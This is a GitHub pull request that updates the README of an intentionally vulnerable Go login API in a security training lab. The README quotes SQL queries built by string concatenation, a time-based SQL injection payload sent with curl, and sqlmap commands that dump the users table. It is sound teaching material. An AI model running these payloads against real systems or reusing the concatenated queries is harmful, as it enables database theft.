-
Notifications
You must be signed in to change notification settings - Fork 450
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update A1 - Copy-n-Paste README #165
Merged
Merged
Changes from 1 commit
Commits
Show all changes
69 commits
Select commit
Hold shift + click to select a range
24b6dc0
[DOCS] Add attack into README
rafaveira3 86b6a54
[DOCS] Add index
vitoriario 115681b
[FIX] Fix objectives link
vitoriario 11144e2
[DOCS] Move attack pictures to images folder
vitoriario 437d813
[DOCS] correct misspelling
vitoriario bc594a4
[FEAT] Redirect / to /login
vitoriario 99789e0
Merge pull request #202 from vitoriario/redirect_login
rafaveira3 1d4046a
[FEAT] WIP: Add new A9 app Stegonography
Krlier f5712cf
Fix typo in README.md
Krlier b47041a
Merge branch 'master' of github.com:globocom/secDevLabs into Stegonog…
Krlier 3cc941d
[FEAT] Stegonography first commit 🚀
Krlier 076531c
[FEAT] Add README file
Krlier 50f8045
[FEAT] Add attack narrative images
Krlier 1bbbf50
[FEAT] Add admin's page
Krlier ff7d5dc
[FEAT] Change session token name
Krlier d48adbc
[REFACT] Change Stegonography from A9 to A6
Krlier 5981d08
[FEAT] Update README.md
Krlier 9db240c
[REFACT] Update README.md
Krlier ea40d63
Merge branch 'Stegonography' of github.com:globocom/secDevLabs into S…
Krlier 8337eec
[REFACT] Move node_modules to app folder
Krlier 1e51f73
[FEAT] Add dependencies to node_modules
Krlier bb5b6f5
[REFACT] Add mongodb to hold credentials
Krlier 975786d
[DOCS] Update README file
Krlier 93379f9
[FEAT] Add new routes
Krlier 141f945
[FEAT] Update dependencies
Krlier a2ff06f
[DOCS] Update README
Krlier fb34c8a
[FIX] Logout route now clears cookie correctly
Krlier 0d6e56b
Merge pull request #226 from globocom/Stegonography
spimpaov 99757b4
[DOCS] Update README with new A6 app
Krlier 46fee5d
Merge pull request #227 from globocom/Update-Readme
spimpaov 00d71b5
[DOCS] Update README to have the Attack Narrative
Krlier be533c1
[DOCS] Remove ATTACK.md and move it's images
Krlier f4da66a
[DOCS] Update README to contemplate the Attack Narrative
Krlier c6b51af
[DOCS] Remove docs folder and move itsimages
Krlier 7fd573e
[DOCS] Update README file to contemplate the Attack Narrative
Krlier ee0284d
[DOCS] Remove docs folder and move it's images
Krlier 5f55be7
[DOCS] Update README to contemplate the Attack Narrative
Krlier 43c4397
[DOCS] Remove docs folder and move it's images
Krlier 0ca0519
[DOCS] Remove docs folder
Krlier 0570df9
[FEAT] Add verbose response to successful login route
07de238
Merge pull request #233 from Takehime/a2-feat
Krlier 0547d70
[DOCS] Update README file to contemplate the Attack Narrative
Krlier 4916bc5
[DOCS] Remove the docs folder and move it's images
Krlier 9cd95d1
Merge pull request #232 from globocom/A4-VinijrBlog-Update-Readme
spimpaov 1e59c29
Merge pull request #229 from globocom/A2-Saidajaula-Update-README
spimpaov a0698da
Merge pull request #230 from globocom/A2-InsecureGoProject-Update-Readme
spimpaov 65d630c
Merge pull request #231 from globocom/A3-SnakePro-Update-Readme
spimpaov aab1552
Merge pull request #234 from globocom/A5-EcommerceAPI-Update-Readme
spimpaov d2a22ac
[DOCS] Fix Objectives link
spimpaov f3f48d3
[DOCS] Fix Objectives link
spimpaov 7e657d1
[DOCS] Fix Objectives link
spimpaov 36d689d
[DOCS] Fix Objectives link
spimpaov 0932cec
[DOCS] Fix Objectives link
spimpaov 50415ab
[DOCS] Update A3 README
spimpaov 457b093
[DOCS] Fix broken ink in A4 README
spimpaov 39e9f65
Merge pull request #241 from globocom/fix-objectives
Krlier 174c79d
[DOCS] Update README.md "objectives" link
Krlier c07b46f
Merge pull request #242 from globocom/fix-obj-a3
Krlier 09f710c
Merge pull request #243 from globocom/fix-obj-a2
Krlier 31ed41b
Merge pull request #244 from globocom/fix-obj-a4
Krlier 1d77fee
Merge pull request #245 from globocom/fix-obj-a5
Krlier 6ed317b
Merge pull request #246 from globocom/readme-a3
Krlier 67a2030
Merge pull request #247 from globocom/readme-a4
Krlier b59689f
[DOCS] Remove docs folder
Krlier 011c117
Merge branch 'change-a1-docs' of github.com:globocom/secDevLabs into …
Krlier c387924
[DOCS] Update README with A1 final version
Krlier 43ce9ce
[DOCS] Fix typo in Readme
spimpaov 31b0bed
[DOCS] Add payload in A1 Readme
spimpaov 0ca3fdf
[DOCS] Fix typo
Krlier File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,40 +1,155 @@ | ||
# CopyNPaste API | ||
> This is a simple Golang API that contains an example of an Injection vulnerability. | ||
|
||
<img src="images/CopyNPaste.png" align="center"/> | ||
<img src="../../../images/secDevLabs-logo.png" align="" height="80" /> | ||
|
||
## What is Injection? | ||
CopyNPaste is Golang web application that uses an API and a simple front end to simulate a login page. It has both `/register` and `/login` routes that, by communicating with a MySQL database, enables users register and enter into a generic system. | ||
Krlier marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
Definition from [OWASP](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf): | ||
## What is Injection? | ||
|
||
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. | ||
|
||
## Requirements | ||
The main goal of this project is to discuss how **SQL Injection** vulnerabilities can be exploited and to encourage developers send Pull Requests to secDevLabs on how they would mitigate these flaws. | ||
|
||
To build this lab you will need [Docker][Docker Install] and [Docker Compose][Docker Compose Install]. | ||
## Setup | ||
|
||
## Deploy and Run | ||
To start this intentionally **insecure application**, you will need [Docker][Docker Install] and [Docker Compose][Docker Compose Install]. After forking [secDevLabs](https://github.com/globocom/secDevLabs), you must type the following commands to start: | ||
|
||
After cloning this repository, you can type the following command to start the vulnerable application: | ||
```sh | ||
cd secDevLabs/owasp-top10-2017-apps/a1/copy-n-paste | ||
``` | ||
|
||
```sh | ||
$ make install | ||
make install | ||
``` | ||
|
||
Then simply visit [localhost:3000][App], as exemplified bellow: | ||
|
||
<img src="images/CopyNPaste.png" align="center"/> | ||
|
||
## Get to know steps | ||
|
||
To properly understand how this application works, you can follow these simple steps: | ||
|
||
- Register a new user via front-end. | ||
- Login as this user via front-end. | ||
* Register another user now using command line: | ||
```sh | ||
curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password", "passcheck":"password"}' http://localhost:3000/register | ||
``` | ||
* Login as this second user now using command line: | ||
```sh | ||
curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password"}' http://localhost:3000/login | ||
|
||
``` | ||
|
||
## Attack narrative | ||
|
||
Now that you know the purpose of this app, what could go wrong? The following section descrides how an attacker could identify and exploit an SQL Injection in CopyNPaste app. We encourage you follow these steps and try to reproduce the attack itself before reading any code. | ||
|
||
#### Vulnerabilituy identification 👀 | ||
|
||
After reviewing `NewUser()` , `CheckIfUserExists()` and `AuthenticateUser()` from [`db.go`]((https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2017-apps/a1/copy-n-paste/app/util/db.go#)) file, it was possibile to see that some input from users are concatenated with SQL queries, as shown in the following codes: | ||
|
||
```go | ||
query := fmt.Sprint("select * from Users where username = '" + user + "'") | ||
|
||
``` | ||
|
||
```go | ||
query := fmt.Sprint("insert into Users (username, password) values ('" + user + "', '" + passHash + "')") | ||
``` | ||
|
||
Then simply visit [localhost:3000][App] ! | ||
```go | ||
query := fmt.Sprint("select username from Users where username = '" + username + "'") | ||
``` | ||
|
||
As no validation is present to these variables, SQL injections may be successfuly executed in the database. Using web interface, we send some information using form for inspect how web interface comunicates with API. | ||
|
||
<img src="docs/attack-0.png" align="center"/> | ||
|
||
To confirm this, the following payload could be used that, if the application is indeed vulnerable, a 5 seconds delay will be noted after sending it: | ||
|
||
<img src="docs/attack-1.png" align="center"/> | ||
|
||
Using `curl` on CLI interface, we can test again (with a 30 seconds delay): | ||
|
||
```sh | ||
curl -s -H "Content-Type: application/json" -d '{"user":"-1'\'' union select 1,2,sleep(30) -- ", "pass":"password"}' http://127.0.0.1:3000/login | ||
``` | ||
|
||
Request: | ||
|
||
<img src="docs/attack-2.png" align="center"/> | ||
|
||
30 seconds later: | ||
|
||
<img src="docs/attack-3.png" align="center"/> | ||
|
||
#### Vulnerability exploitation 🔥 | ||
|
||
An attacker could now create any malicious SQL queries and send to the API that, in theory, will be executed. For this attack narrative, [sqlmap](https://github.com/sqlmapproject/sqlmap) will be used to exemplify how an automated SQL Injection attack may be performed. | ||
|
||
To install sqlmap on Mac you can simply type: | ||
|
||
```sh | ||
brew install sqlmap | ||
``` | ||
|
||
First possible step is to create a `postRequest.txt` containing the HTTP POST itself, as shown in the following code: | ||
|
||
```sh | ||
POST /login HTTP/1.1 | ||
Host: 127.0.0.1:3000 | ||
User-Agent: curl/7.54.0 | ||
Accept: */* | ||
Content-Type: application/json | ||
Content-Length: 31 | ||
|
||
{"user":"user", "pass":"password"} | ||
``` | ||
|
||
Before executing the attack, you can open a new tab in your terminal and type the following command to observe how the malicious requests will come to the app: | ||
|
||
```sh | ||
docker logs a1_api -f | ||
``` | ||
|
||
After that, we could now use `-r` option and wait sqlmap perform multiples malicious requests until it finds the vulnerable parameter: | ||
|
||
```sh | ||
sqlmap -r postRequest.txt | ||
``` | ||
|
||
<img src="docs/attack-4.png" align="center"/> | ||
|
||
After understanding how this database is structured, an attacker could use the following command to retrieve database details: | ||
|
||
```sh | ||
sqlmap -r postRequest.txt --tables | ||
``` | ||
|
||
And then retrieve sensitive information from it: | ||
|
||
```sh | ||
sqlmap -r postRequest.txt -D a1db -T Users --dump | ||
``` | ||
|
||
<img src="docs/attack-5.png" align="center"/> | ||
|
||
## Secure this app 🔧 | ||
|
||
## Attack Narrative | ||
How could you now migitate this vulnerability? After your code modification, an attacker should not be able to: | ||
|
||
To understand how this vulnerability can be exploited, check [this section](docs/ATTACK.md)! | ||
* Execute SQL queries into database. | ||
|
||
## Mitigating the vulnerability | ||
## PR solutions | ||
|
||
(Spoiler alert 🧐) To understand how this vulnerability can be mitigated, check [this other section](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22CopyNPaste+API%22)! | ||
[Spoiler alert] To understand how this vulnerability can be mitigated, check [these pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22CopyNPaste+API%22)! | ||
|
||
## Contributing | ||
|
||
Yes, please. :zap: | ||
We encourage you to contribute to SecDevLabs! Please check out the [Contributing to SecDevLabs](../../../docs/CONTRIBUTING.md) section for guidelines on how to proceed! 🎉 | ||
|
||
[Docker Install]: https://docs.docker.com/install/ | ||
[Docker Compose Install]: https://docs.docker.com/compose/install/ | ||
[App]: http://127.0.0.1:3000 | ||
[App]: http://localhost:3000 |
This file was deleted.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this first image should be about the app! Not necessarily the app's home page, but maybe it's logo? It would be cool if we could add visual identity to each one of our apps, just like Hack The Box does with it's boxes. What do you guys think @vitoriario , @rafaeleyng ?
It doesn't need to be anything fancy, hack the box has a template and just changes some details to each box to kind of fit the theme. Here's an example:
OR
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@Krlier, we could use our logo. Something like:
What do you think?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Using logos is a good idea, however it may take us some time to build "cool" logos for each app. I may need some help doing so! 😃
Also, we have to be careful when using "Difficult: Hard". How will we define what is
Hard
or what isEasy
? Taking vulnhub.com apps as examples, I always had some trouble working on "Beginners" machines and went pretty well on "Medium/Hard" ones. The challenge may be easy for the author but not to whom does it.